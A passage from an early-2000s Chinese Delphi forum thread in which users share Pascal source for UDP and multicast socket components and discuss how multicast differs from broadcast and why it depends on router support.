while not Terminated do

begin

nAddrLen := SizeOf(SockFrom);

FD_ZERO(readFDs);

for i := 0 to fSockCount-1 do

FD_SET(fSocks[i], readFDs);

//The first param of select is provided just for

//compatibility with Berkeley Sockets, no meaning in WinSock

//Note!!! the select's last param here is nil

//so it can be blocked forever

Select(0, @readFDs, nil, nil, nil);

for i := 0 to fSockCount-1 do

if FD_ISSET(fSocks[i], readFDs) then

begin

nRecved := RecvFrom(fSocks[i], buf, fBufSize, 0, SockFrom, nAddrLen);

if Assigned(fOnRecv) then

//Note!!! I didn't call Synchronize here so u can call Terminate and WaitFor

//but I suggest using Suspend and Free STRONGLY!

//For the call of select can be blocked forever

fOnRecv(@buf, nRecved, string(Inet_Ntoa(SockFrom.sin_addr)),

Cardinal(Ntohs(SockFrom.sin_port)));

end;

end;

end;

constructor TUDPRecvThd.Create(var Socks : TArraySocket; OnRecv : TUDPOnRecv; BufSize : integer);

begin

fSocks := Socks;

fOnRecv := OnRecv;

fBufSize := BufSize;

fSockCount := High(Socks) + 1; //must start with 0, Low(Socks) is always 0

FreeOnTerminate := True;

inherited Create(False);

end;

procedure TUDPSock2.LocalIPs(slIPs : TStringList);

var

strLocalHost : string;

pHE : PHostent;

pInAd : PAPInAddr;

saLocal : TSockAddr;

i : integer;

begin

SetLength(strLocalHost, 255);

if GetHostName(PChar(strLocalHost), 254) = SOCKET_ERROR then

Exit;

pHE := GetHostByName(PChar(strLocalHost));

pInAd := PAPInAddr(pHE^.h_addr_list);

saLocal.sin_addr := (pInAd^[0]^);

i := 0;

while True do

begin

slIPs.Add(inet_ntoa(saLocal.sin_addr));

i := i + 1;

if(pInAd^[i] <> nil) then

saLocal.sin_addr := (pInAd^[i]^) //local host

else

break;

end;

end;

procedure TUDPSock2.LocalMAC(slMac : TStringList);

var

ncb : TNCB;

adapt : TASTAT;

lanaEnum : TLanaEnum;

i, j : integer;

strPart, strMac : string;

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBEnum);

ncb.ncb_buffer := PChar(@lanaEnum);

ncb.ncb_length := SizeOf(TLanaEnum);

Netbios(@ncb);

for i := 0 to integer(lanaEnum.length)-1 do

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBReset);

ncb.ncb_lana_num := lanaEnum.lana[i];

Netbios(@ncb);

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Chr(NCBAstat);

ncb.ncb_lana_num := lanaEnum.lana[i];

ncb.ncb_callname := '* ';

ncb.ncb_buffer := PChar(@adapt);

ncb.ncb_length := SizeOf(TASTAT);

if Netbios(@ncb) = Chr(0) then

begin

strMac := '';

for j := 0 to 5 do

begin

strPart := IntToHex(integer(adapt.adapter.adapter_address[j]), 2);

strMac := strMac + strPart + '-';

end;

SetLength(strMac, Length(strMac)-1);

slMac.Add(strMac);

end;

end;

end;

procedure TUDPSock2.StartReceive;

begin

if fRecvThd <> nil then

Exit;

if ((fSockType = stUnicastReceiver) or (fSockType = stMulticastReceiver)

or (fSockType = stBroadcastReceiver)) and (fSockCount > 0) then

fRecvThd := TUDPRecvThd.Create(fSocks, fOnRecv, fBufSize);

end;

function TUDPSock2.LocalIPValid(var LocalIP : string): Boolean;

var

i : integer;

slLocalIPs : TStringList;

begin

Result := False;

slLocalIPs := TStringList.Create;

Self.LocalIPs(slLocalIPs);

if slLocalIPs.Count = 0 then

begin

slLocalIPs.Free;

Exit;

end;

if LocalIP = '' then

begin

LocalIP := slLocalIPs[0]; //Default Interface

Result := True;

end else

for i:=0 to slLocalIPs.Count-1 do

if Trim(slLocalIPs[i]) = Trim(LocalIP) then

begin

Result := True;

Break;

end;

slLocalIPs.Free;

end;

function TUDPSock2.Setup(udpSockType : TUDPSockType; LocalIP : string = '';

BufferSize : integer = DEFAULTBUFFERSIZE):Boolean;

begin

Result := False;

//Already started?

if fSockCount > 0 then

Exit;

//Local IP set valid?

if not LocalIPValid(LocalIP) then

Exit;

//Buffer Size Valid?

if not ((BufferSize <= MAXBUFFERSIZE) and (BufferSize >= MINBUFFERSIZE)) then

Exit;

fSockType := udpSockType;

fBufSize := BufferSize;

fLocalIP := LocalIP;

fbSetupReady := True;

Result := True;

end;

function TUDPSock2.Add(RemoteIP : string; Port : u_Short): integer;

var

nMCAddr : Cardinal;

nTTL, nReuseAddr : integer;

Sock : TSocket;

SockAddrLocal, SockAddrRemote : TSockAddr;

MCReq : TIP_mreq;

pPE : PProtoEnt;

begin

Result := -1;

//Maximum fds allowed

if fSockCount = FD_SETSIZE then

Exit;

//Already started?

if (fRecvThd <> nil) or (not fbSetupReady) then

Exit;

//Multicast address valid?

if (fSockType = stMultiCastSender) or (fSockType = stMultiCastReceiver) then

begin

nMCAddr := ntohl(inet_addr(PChar(RemoteIP)));

//though Multicast ip is between 224.0.0.0 to 239.255.255.255

//the 224.0.0.0 to 224.0.0.225 ips are reserved for system

if not ((nMCAddr <= $efffffff) and (nMCAddr >= $e0000100)) then

Exit;

end;

pPE := GetProtoByName('UDP');

//Create Socket

Sock := Socket(AF_INET, SOCK_DGRAM, pPE.p_proto);

if Sock = INVALID_SOCKET then

Exit;

//Reuse the address, according to WinSock help, nReuseAddr must be a BOOL and

//the fifth param must be SizeOf(integer), but in a sample codes, the fifth is SizeOf(BOOL)

//faint! I used integer and SizeOf(integer) is also OK

nReuseAddr := 1;

if SetSockOpt(Sock, SOL_SOCKET, SO_REUSEADDR, @nReuseAddr, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Set Local Address and bind

FillChar(SockAddrLocal, SizeOf(SockAddrLocal), 0);

SockAddrLocal.sin_family := AF_INET;

if (fSockType = stMultiCastSender) or (fSockType = stUnicastSender)

or (fSockType = stBroadcastSender) then

SockAddrLocal.sin_port := htons(0)

else

SockAddrLocal.sin_port := htons(Port);

SockAddrLocal.sin_addr.S_addr := Inet_Addr(PChar(fLocalIP));

if Bind(Sock, SockAddrLocal, SizeOf(SockAddrLocal)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

if (fSockType = stMultiCastSender) or (fSockType = stUnicastSender)

or (fSockType = stBroadcastSender)then

begin

//Set Send Buffer Size

if SetSockOpt(Sock, SOL_SOCKET, SO_SNDBUF, @fBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Set output interface

if fSockType = stMultiCastSender then

begin

if SetSockOpt(Sock, IPPROTO_IP, IP_MULTICAST_IF, @(SockAddrLocal.sin_addr),

SizeOf(In_Addr)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

nTTL := MULTICAST_TTL;

if SetSockOpt(Sock, IPPROTO_IP, IP_MULTICAST_TTL, @nTTL, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

end else //For send, must set the opt SO_BROADCAST

if fSockType = stBroadcastSender then

if SetSockOpt(Sock, SOL_SOCKET, SO_BROADCAST, @nReuseAddr, SizeOf(integer))

= SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

FillChar(SockAddrRemote, SizeOf(SockAddrRemote), 0);

SockAddrRemote.sin_family := AF_INET;

SockAddrRemote.sin_port := htons(Port);

if fSockType = stBroadcastSender then

SockAddrRemote.sin_addr.S_addr := htonl(INADDR_BROADCAST)

else

SockAddrRemote.sin_addr.S_addr := Inet_Addr(PChar(RemoteIP));

fSockCount := fSockCount + 1;

SetLength(fAddrTo, fSockCount);

fAddrTo[fSockCount-1] := SockAddrRemote;

end else //UDPReceiver or MulticastReceiver or BroadcastReceiver

begin

//Set Receive Buffer Size

if SetSockOpt(Sock, SOL_SOCKET, SO_RCVBUF, @fBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Join Group

if fSockType = stMulticastReceiver then

begin

MCReq.imr_multiaddr.S_addr := Inet_Addr(PChar(RemoteIP));

MCReq.imr_interface.S_addr := Inet_Addr(PChar(fLocalIP));

if SetSockOpt(Sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, @MCReq,

SizeOf(TIP_mreq)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

end;

fSockCount := fSockCount + 1;

if fSockType = stMulticastReceiver then

begin

SetLength(fMCReq, fSockCount);

fMCReq[fSockCount-1] := MCReq;

end;

end;

SetLength(fSocks, fSockCount);

fSocks[fSockCount-1] := Sock;

Result := fSockCount - 1;

end;

function TUDPSock2.Close:Boolean;

var

i : integer;

begin

Result := False;

if fSockCount = 0 then

Exit;

if (fSockType = stUnicastReceiver) or (fSockType = stMulticastReceiver)

or (fSockType = stBroadcastReceiver) then

begin

//Exception will be? :( I don't know

if fRecvThd <> nil then

begin

fRecvThd.Suspend;

fRecvThd.Free;

fRecvThd := nil;

end;

if fSockType = stMulticastReceiver then

for i := 0 to fSockCount - 1 do

SetSockOpt(fSocks[i], IPPROTO_IP, IP_DROP_MEMBERSHIP, @fMCReq[i], SizeOf(fMCReq[i]));

end;

for i := 0 to fSockCount - 1 do

CloseSocket(fSocks[i]);

SetLength(fMCReq, 0);

SetLength(fSocks, 0);

SetLength(fAddrTo, 0);

fbSetupReady := False;

fSockCount := 0;

end;

function TUDPSock2.Send(index : integer; buffer : Pointer; len : integer) : Boolean;

begin

Result := False;

if (len < 0) or (index < 0) or (index >= fSockCount) then

Exit;

if (fSockType <> stMultiCastSender) and (fSockType <> stUnicastSender)

and (fSockType <> stBroadcastSender) then

Exit;

if SendTo(fSocks[index], buffer^, len, 0{MSG_DONTROUTE}, fAddrTo[index],

SizeOf(fAddrTo[index])) <> SOCKET_ERROR then

Result := True;

end;

constructor TUDPSock2.Create;

begin

fbSetupReady := False;

fSockCount := 0;

fRecvThd := nil;

end;

destructor TUDPSock2.Destroy;

begin

if fSockCount > 0 then

Self.Close;

end;

initialization

if WSAStartup(MakeWord(2,0), wsData)<>0 then

raise Exception.Create('Cannot use the socket service!');

finalization

WSACleanup;

end.

---------------------------------------------------------------------

unit winclient;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ScktComp, StdCtrls, Buttons, U_UDPSock, WinSock;

type

TwClient = class(TForm)

Button1: TButton;

Memo1: TMemo;

Edit1: TEdit;

Edit2: TEdit;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

private

{ Private declarations }

procedure OnMyRecv(buffer: Pointer; len: integer; fromIP: string; fromPort: U_Short);

public

{ Public declarations }

end;

var

wClient: TwClient;

SockRecv: TUDPSock2;

implementation

{$R *.DFM}

procedure TwClient.OnMyRecv(buffer: Pointer; len: integer; fromIP: string; fromPort: U_Short);

begin

Memo1.Lines.Add(Format('"%s" From:%s',[StrPas(buffer),fromIP]));

end;

procedure TwClient.Button1Click(Sender: TObject);

begin

SockRecv := TUDPSock2.Create;

SockRecv.Setup(stMulticastReceiver);

SockRecv.Add(Edit1.Text, StrToInt(Edit2.Text));

SockRecv.OnRecv := OnMyRecv;

SockRecv.StartReceive;

Button1.Enabled:=False;

Button2.Enabled:=True;

end;

procedure TwClient.Button2Click(Sender: TObject);

begin

Button1.Enabled:=True;

Button2.Enabled:=False;

SockRecv.Destroy;

SockRecv.Free;

end;

procedure TwClient.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

if Button2.Enabled then Button2.OnClick(Self);

end;

end.

来自：zhanggm, 时间：2002-2-26 15:43:00, ID：944062

实现组播只能在同一网段中进行分段如下:

A类网广播地址:1~126.255.255.255

B类网广播地址:128~191.XXX.255.255

C类网广播地址:192~254.XXX.XXX.255

在相应网段中用相应广播地址进行组播

来自：iamfly, 时间：2002-2-26 16:02:00, ID：944128

拜托，组播(MULTICAST)和广播(BROADCAST)是两回事来的。。。

Ironhero，组播所用到的IP地址是属于保留的，你可以看一些网络基础知识的书，有说到

IP的范围划分，分A到E五类，其中组播用的是D类，而我们在INTERNET上用到的是C类：)

要想实现多播，必须要确保你所使用的网络中的硬件支持(SWITCH和ROUTER之类的)，HUB好

像不行：)

具体的实现我也还没试过，有结果了烦请告诉一声：)

来自：Ironhero, 时间：2002-2-28 9:52:00, ID：948131

kucio:我按照您的办法做了，的确如此，但我发现了几个问题：

1、我在发送端设定的端口号，在接收端（客户端）返回的端号好象是一个随机数，并不是

发送端的端口号，设定的端口没起作用。

2、当有多个发送端在同一个多播组（都是一样的发送端口与接收端口）发送数据时，无法

区分是由谁发送的数据，数据搞混了，我发送的是屏幕捕捉的图像数据并在客户端随时显示

在画布上，当写在画布上时数据互相干扰。我已经判断是哪一个IP就写在哪一个画布上。

3、互联网上我也不想测试了，估计行不通，因为与路由器有关，恐怕不是我等能解决得了。

kucio：烦请您再指导指导我，谢谢！

来自：kucio, 时间：2002-2-28 17:26:00, ID：949459

RE:

1、你所设定的端口号实际上就是接收端的端口，而发送端使用的哪个端口是随机选择一个

空闲端口，据说可以使用什么bind命令指定发送端的端口，但具体我也没用过，况且

我想不出这有什么用。

2、判断IP就是很好的方法呀，如果IP不确定的话，你也可以在发送信息中加入一些标志。

来自：张无忌, 时间：2002-7-30 10:23:00, ID：1231236

多播只是LAN上用，INTERNET上没有办法使用，原因是他要利用以太网卡的过滤能力

ADSL和猫都不支持多播，所以在INTERNET上无法使用。

来自：jingtao, 时间：2002-8-11 1:51:00, ID：1256902

unit MulticastSocket;

{

* 多址广播控件

* 本文件提取自 U_UDPSock.pas

* 整理于2001年11月17~2001年11月18日

* 关于 NB30 单元，主要用于

* "取得本地计算机所有的MAC地址"

* procedure LocalMAC(slMac : TStringList);

* 所以被我注释掉了

* 并不影响使用

}

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

WinSock;//, NB30;

const

MINBUFFERSIZE = 2048;

DEFAULTBUFFERSIZE = 16384;

MAXBUFFERSIZE = 63488; //62*1024

MULTICAST_TTL = IP_DEFAULT_MULTICAST_TTL;

MAX_MULTICAST_TTL = 128;

type

PIP_mreq = ^TIP_mreq;

TIP_mreq = record

imr_multiaddr : in_addr;

imr_interface : in_addr;

end;

TAPInAddr = Array [0..10] of PInAddr; // array of pInaddr

PAPInAddr = ^TAPInaddr; // pointer of Array

(*

PASTAT = ^TASTAT;

TASTAT = record

adapter : TAdapterStatus;

name_buf : TNameBuffer;

end;

*)

TUDPOnRecv = procedure (buffer: Pointer; len: integer; fromIP: string; fromPort: u_Short) of Object;

//接收数据线程

TUDPRecvThd = class(TThread)

private

fSocks : TSocket;

fBufSize : integer;

fOnRecv : TUDPOnRecv;

protected

procedure Execute ; override;

public

constructor Create(var Socks : TSocket; OnRecv : TUDPOnRecv; BufSize : integer);

end;

type

TMulticastSocket = class(TComponent)

private

{ Private declarations }

fActived : Boolean; {是否激活}

fsock : TSocket; {socket}

fRecvThd : TUDPRecvThd; {接收线程}

fMCReq : TIP_mreq; {记录加入的组地址，释放资源时用}

fSendBufSize: integer; {发送缓冲区大小}

fRecvBufSize: integer; {接收缓冲区大小}

fLocalIP : String; {本地IP地址}

fAddrTo : TSockAddr; {发送IP地址}

fCanRead : Boolean; {可以读取数据}

fCanWrite : Boolean; {可以发送数据}

fTTL : integer; {Time To Live,生存时间,即可以跨越的网关数}

fGroupAddress:String; {组地址}

fGroupPort : integer; {组端口}

//fRecvState : Boolean; {接收线程是否启动}

fOnRecv : TUDPOnRecv; {响应的事件}

{组地址}

procedure SetGroupAddress(addr:String);

{组端口}

procedure SetGroupPort(port:integer);

{读}

procedure SetCanRead(CanRead:Boolean);

{写}

procedure SetCanWrite(CanWrite:Boolean);

{发送缓冲区大小}

procedure SetSendBufSize(SendBufSize:integer);

{接收缓冲区大小}

procedure SetRecvBufSize(RecvBufSize:integer);

{本地IP地址}

procedure SetLocalIP(addr:String);

{是否激活}

procedure SetActived(const Value: Boolean);

{Time To Live,生存时间,即可以跨越的网关数}

procedure SetTTL(const Value: integer);

{改变响应事件的限制}

//procedure SetOnRecv(const Value: Boolean);

procedure SetOnRecv(const Value: TUDPOnRecv);

{Local IP set valid?}

{参数为''的话，就得到默认IP}

function LocalIPValid(var LocalIP:String) : Boolean;

{设置Socket可以接收数据}

function EnabledListen:Boolean;

{设置Socket不能接收数据}

procedure DisabledListen;

{设置Socket可以发送数据}

function EnabledSend:Boolean;

protected

{ Protected declarations }

public

{ Public declarations }

function Close:Boolean;

function Send(buffer : Pointer; len : integer ; Flag : integer = 0) : Boolean;

function AddToGroup : integer;

procedure StartReceive;

{取得本地计算机所有的IP地址}

procedure LocalIPs(slIPs : TStringList);

{取得本地计算机所有的MAC地址}

//procedure LocalMAC(slMac : TStringList);

function Connect:Boolean;

function DisConnect:Boolean;

published

{ Published declarations }

property LocalAddress : String read fLocalIP write SetLocalIP nodefault;

property CanRead : Boolean read fCanRead write SetCanRead default true;

property CanWrite : Boolean read fCanWrite write SetCanWrite default true;

property TTL : integer read fTTL write SetTTL default MULTICAST_TTL;

property SendBufSize: integer read fSendBufSize write SetSendBufSize default DEFAULTBUFFERSIZE;

property RecvBufSize: integer read fRecvBufSize write SetRecvBufSize default DEFAULTBUFFERSIZE;

property GroupAddress:String read fGroupAddress write SetGroupAddress nodefault;

property GroupPort:integer read fGroupPort write SetGroupPort default 6000;

property Actived:Boolean read fActived write SetActived default False;

property OnDataArrive:TUDPOnRecv read fOnRecv write SetOnRecv nodefault;

constructor Create(AOwner:TComponent);override;

destructor Destroy;override;

end;

procedure Register;

implementation

var

wsData : TWSAData;

procedure Register;

begin

RegisterComponents('FastNet', [TMulticastSocket]);

end;

{ TMulticastSocket }

function TMulticastSocket.AddToGroup:integer;

var

nReuseAddr : integer;

SockAddrLocal : TSockAddr;

pPE : PProtoEnt;

begin

Result:=-1;

pPE := GetProtoByName('UDP');

//Create Socket

fSock := Socket(AF_INET, SOCK_DGRAM, pPE.p_proto);

if fSock = INVALID_SOCKET then

Exit;

nReuseAddr := 1;

if SetSockOpt(fSock, SOL_SOCKET, SO_REUSEADDR, @nReuseAddr, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

//Set Local Address and bind

FillChar(SockAddrLocal, SizeOf(SockAddrLocal), 0);

SockAddrLocal.sin_family := AF_INET;

//发送用0

//SockAddrLocal.sin_port := htons(0);

SockAddrLocal.sin_port := htons(fGroupPort);

SockAddrLocal.sin_addr.S_addr := Inet_Addr(PChar(fLocalIP));

if Bind(fSock, SockAddrLocal, SizeOf(SockAddrLocal)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

if fCanWrite then

if not EnabledSend then

Exit;

if fCanRead then

if not EnabledListen then

Exit;

Result:=0;

end;

function TMulticastSocket.Close: Boolean;

begin

//MulticastReceiver

//Exception will be? :( I don't know

//释放接收数据线程

if fRecvThd <> nil then

begin

fRecvThd.Suspend;

fRecvThd.Free;

fRecvThd := nil;

end;

DisabledListen;

//Close Socket

CloseSocket(fSock);

Result:=True;

end;

constructor TMulticastSocket.Create(AOwner:TComponent);

begin

{这里设置默认属性,我不知道为什么在Default中写的没有效果}

LocalIPValid(fLocalIP);

fCanRead:=True;

fCanWrite:=True;

fSendBufSize:=DEFAULTBUFFERSIZE;

fRecvBufSize:=DEFAULTBUFFERSIZE;

fGroupAddress:='225.0.0.1';

fGroupPort:=6000;

fTTL:=MULTICAST_TTL;

inherited Create(AOwner);

end;

destructor TMulticastSocket.Destroy;

begin

Close;

inherited Destroy;

end;

procedure TMulticastSocket.SetGroupAddress(addr: String);

var

nMCAddr : Cardinal;

begin

if Actived=True then

Exit;

//Multicast address valid?

nMCAddr := ntohl(inet_addr(PChar(addr)));

//though Multicast ip is between 224.0.0.0 to 239.255.255.255

//the 224.0.0.0 to 224.0.0.225 ips are reserved for system

if not ((nMCAddr <= $efffffff) and (nMCAddr >= $e0000100)) then

Exit;

fGroupAddress:=addr;

end;

function TMulticastSocket.Send(buffer:Pointer;len:integer;Flag:integer=0):Boolean;

begin

Result := False;

if not CanWrite then

Exit;

if SendTo(fSock, buffer^, len, Flag{MSG_DONTROUTE}, fAddrTo,

SizeOf(fAddrTo)) <> SOCKET_ERROR then

Result := True;

end;

procedure TMulticastSocket.StartReceive;

begin

if fRecvThd<> nil then

//接收线程已经启动

Exit;

//启动接收线程

if Assigned(fOnRecv) then

fRecvThd := TUDPRecvThd.Create(fSock, fOnRecv, fSendBufSize);

end;

procedure TMulticastSocket.SetCanRead(CanRead: Boolean);

begin

//if Actived=True then

// Exit;

if fCanRead=CanRead then

Exit;

if CanRead then

begin

if not EnabledListen then

Exit;

end else

DisabledListen;

fCanRead:=CanRead;

end;

procedure TMulticastSocket.SetCanWrite(CanWrite: Boolean);

begin

if Actived=True then

Exit;

fCanWrite:=CanWrite;

end;

procedure TMulticastSocket.SetGroupPort(Port: integer);

begin

if Actived=True then

Exit;

fGroupPort:=Port;

end;

procedure TMulticastSocket.SetRecvBufSize(RecvBufSize: integer);

begin

if Actived=True then

Exit;

//Buffer Size Valid?

if not ((RecvBufSize <= MAXBUFFERSIZE) and (RecvBufSize >= MINBUFFERSIZE)) then

Exit;

fRecvBufSize:=RecvBufSize;

end;

procedure TMulticastSocket.SetSendBufSize(SendBufSize: integer);

begin

if Actived=True then

Exit;

//Buffer Size Valid?

if not ((SendBufSize <= MAXBUFFERSIZE) and (SendBufSize >= MINBUFFERSIZE)) then

Exit;

fSendBufSize:=SendBufSize;

end;

function TMulticastSocket.LocalIPValid(var LocalIP:String): Boolean;

var

i : integer;

slLocalIPs : TStringList;

begin

Result := False;

slLocalIPs := TStringList.Create;

Self.LocalIPs(slLocalIPs);

if slLocalIPs.Count = 0 then

begin

slLocalIPs.Free;

Exit;

end;

if LocalIP = '' then

begin

LocalIP := slLocalIPs[0]; //Default Interface

Result := True;

end else

for i:=0 to slLocalIPs.Count-1 do

if Trim(slLocalIPs[i]) = Trim(LocalIP) then

begin

Result := True;

Break;

end;

slLocalIPs.Free;

end;

procedure TMulticastSocket.SetLocalIP(addr: String);

begin

if Actived=True then

Exit;

//Local IP set valid?

if not LocalIPValid(addr) then

Exit;

fLocalIP:=addr;

end;

procedure TMulticastSocket.LocalIPs(slIPs: TStringList);

var

strLocalHost : string;

pHE : PHostent;

pInAd : PAPInAddr;

saLocal : TSockAddr;

i : integer;

begin

SetLength(strLocalHost, 255);

if GetHostName(PChar(strLocalHost), 254) = SOCKET_ERROR then

Exit;

pHE := GetHostByName(PChar(strLocalHost));

pInAd := PAPInAddr(pHE^.h_addr_list);

saLocal.sin_addr := (pInAd^[0]^);

i := 0;

while True do

begin

slIPs.Add(inet_ntoa(saLocal.sin_addr));

i := i + 1;

if(pInAd^[i] <> nil) then

saLocal.sin_addr := (pInAd^[i]^) //local host

else

break;

end;

end;

(*

procedure TMulticastSocket.LocalMAC(slMac: TStringList);

var

ncb : TNCB;

adapt : TASTAT;

lanaEnum : TLanaEnum;

i, j : integer;

strPart, strMac : string;

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBEnum);

ncb.ncb_buffer := PChar(@lanaEnum);

ncb.ncb_length := SizeOf(TLanaEnum);

Netbios(@ncb);

for i := 0 to integer(lanaEnum.length)-1 do

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBReset);

ncb.ncb_lana_num := lanaEnum.lana[i];

Netbios(@ncb);

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Chr(NCBAstat);

ncb.ncb_lana_num := lanaEnum.lana[i];

ncb.ncb_callname := '* ';

ncb.ncb_buffer := PChar(@adapt);

ncb.ncb_length := SizeOf(TASTAT);

if Netbios(@ncb) = Chr(0) then

begin

strMac := '';

for j := 0 to 5 do

begin

strPart := IntToHex(integer(adapt.adapter.adapter_address[j]), 2);

strMac := strMac + strPart + '-';

end;

SetLength(strMac, Length(strMac)-1);

slMac.Add(strMac);

end;

end;

end;*)

procedure TMulticastSocket.SetActived(const Value: Boolean);

begin

if Value=fActived then

//状态未发生变化

Exit;

if Value then

Connect

else

DisConnect;

end;

function TMulticastSocket.Connect: Boolean;

begin

Result:=(AddToGroup=0);

if not Result then

Exit;

if CanRead and Assigned(fOnRecv) then

StartReceive;

fActived:=Result;

end;

function TMulticastSocket.DisConnect: Boolean;

begin

Result:=Close;

if Result then

fActived:=False;

end;

procedure TMulticastSocket.SetOnRecv(const Value: TUDPOnRecv);

begin

if Actived and Assigned(fOnRecv) then

//事件已经在运行了

Exit;

fOnRecv := Value;

if Actived then

//已经激活但未设置事件

StartReceive;

end;

procedure TMulticastSocket.SetTTL(const Value: integer);

begin

if Actived

or (Value>MAX_MULTICAST_TTL)

or (Value<0) then

Exit;

fTTL := Value;

end;

function TMulticastSocket.EnabledListen : Boolean;

var

MCReq : TIP_mreq;

begin

Result:=False;

{接收数据缓冲区大小}

if SetSockOpt(fSock, SOL_SOCKET, SO_RCVBUF, @fRecvBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

{加入多址广播组}

MCReq.imr_multiaddr.S_addr := Inet_Addr(PChar(fGroupAddress));

MCReq.imr_interface.S_addr := Inet_Addr(PChar(fLocalIP));

if SetSockOpt(fSock, IPPROTO_IP, IP_ADD_MEMBERSHIP, @MCReq,

SizeOf(TIP_mreq)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

fMCReq := MCReq;

if Actived and Assigned(fOnRecv) then

StartReceive;

Result:=True;

end;

function TMulticastSocket.EnabledSend: Boolean;

var

SockAddrLocal, SockAddrRemote : TSockAddr;

begin

Result:=False;

FillChar(SockAddrLocal, SizeOf(SockAddrLocal), 0);

SockAddrLocal.sin_family := AF_INET;

SockAddrLocal.sin_port := htons(fGroupPort);

SockAddrLocal.sin_addr.S_addr := Inet_Addr(PChar(fLocalIP));

{发送数据缓冲区大小}

if SetSockOpt(fSock, SOL_SOCKET, SO_SNDBUF, @fSendBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

{IP multicast output interface}

if SetSockOpt(fSock, IPPROTO_IP, IP_MULTICAST_IF, @(SockAddrLocal.sin_addr),

SizeOf(In_Addr)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

{设置Time To Livw}

if SetSockOpt(fSock, IPPROTO_IP, IP_MULTICAST_TTL, @fTTL, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(fSock);

Exit;

end;

{设置发送的目的位置到fAddrTo中}

FillChar(SockAddrRemote, SizeOf(SockAddrRemote), 0);

SockAddrRemote.sin_family := AF_INET;

SockAddrRemote.sin_port := htons(fGroupPort);

SockAddrRemote.sin_addr.S_addr := Inet_Addr(PChar(fGroupAddress));

fAddrTo := SockAddrRemote;

Result:=True;

end;

procedure TMulticastSocket.DisabledListen;

begin

SetSockOpt(fSock, IPPROTO_IP, IP_DROP_MEMBERSHIP, @fMCReq, SizeOf(fMCReq));

end;

{ TUDPRecvThd }

constructor TUDPRecvThd.Create(var Socks: TSocket; OnRecv: TUDPOnRecv;

BufSize: integer);

begin

fSocks := Socks;

fOnRecv := OnRecv;

fBufSize := BufSize;

FreeOnTerminate := True;

inherited Create(False);

end;

procedure TUDPRecvThd.Execute;

var

readFDs : TFDSet;

nRecved, nAddrLen: integer;

buf : array [0..MAXBUFFERSIZE] of Byte;

SockFrom : TSockAddr;

begin

Priority := tpHighest;

while not Terminated do

begin

nAddrLen := SizeOf(SockFrom);

FD_ZERO(readFDs);

FD_SET(fSocks, readFDs);

Select(0, @readFDs, nil, nil, nil);

if FD_ISSET(fSocks, readFDs) then

begin

nRecved := RecvFrom(fSocks, buf, fBufSize, 0, SockFrom, nAddrLen);

if Assigned(fOnRecv) then

fOnRecv(@buf, nRecved, string(Inet_Ntoa(SockFrom.sin_addr)),

Cardinal(Ntohs(SockFrom.sin_port)));

end;

end;

end;

initialization

if WSAStartup(MakeWord(2,0), wsData)<>0 then

raise Exception.Create('Cannot use the socket service!');

finalization

WSACleanup;

end.

来自：zw84611, 时间：2002-12-4 14:41:00, ID：1484870

真好笑，多播和在不在中国有什么关系？

应该说，组播在局域网上实现是很简单的，但是如果在Internet上，需要路由器对组播的支持。

事实上就主机而言，多播的实现和普通UDP的实现无异（TCP不支持组播），只是多加一个：

setsockopt(s,IPPROTO_IP,IP_ADD_MEMBERSHIP,pchar(@mreq),sizeof(mreq))

而已。

给你个例子：

unit udp;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, winsock,

StdCtrls;

const

WM_SOCK = WM_USER + 1; //自定义windows消息

UDPPORT = 6543; //设定UDP端口号

//D类地址224.0.0.0 - 239.255.255.255

//若为224.0.0.1则本机也能收到，否则本机收不到，其它机器能收到。

MY_GROUP = '224.0.0.2';

(*

* Argument structure for IP_ADD_MEMBERSHIP and IP_DROP_MEMBERSHIP.

* Delphi5自带的winsock.pas中没有ip_mreq的定义。

*)

type

ip_mreq = record

imr_multiaddr: in_addr; (* IP multicast address of group *)

imr_interface: in_addr; (* local IP address of interface *)

end;

TIpMReq = ip_mreq;

PIpMReq = ^ip_mreq;

type

Tfrmmain = class(TForm)

Button1: TButton;

Edit1: TEdit;

Memo1: TMemo;

Edit2: TEdit;

Label1: TLabel;

Label2: TLabel;

Label3: TLabel;

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

s: TSocket;

addr: TSockAddr;

FSockAddrIn : TSockAddrIn;

mreq:ip_mreq;

//利用消息实时获知UDP消息

procedure ReadData(var Message: TMessage); message WM_SOCK;

public

{ Public declarations }

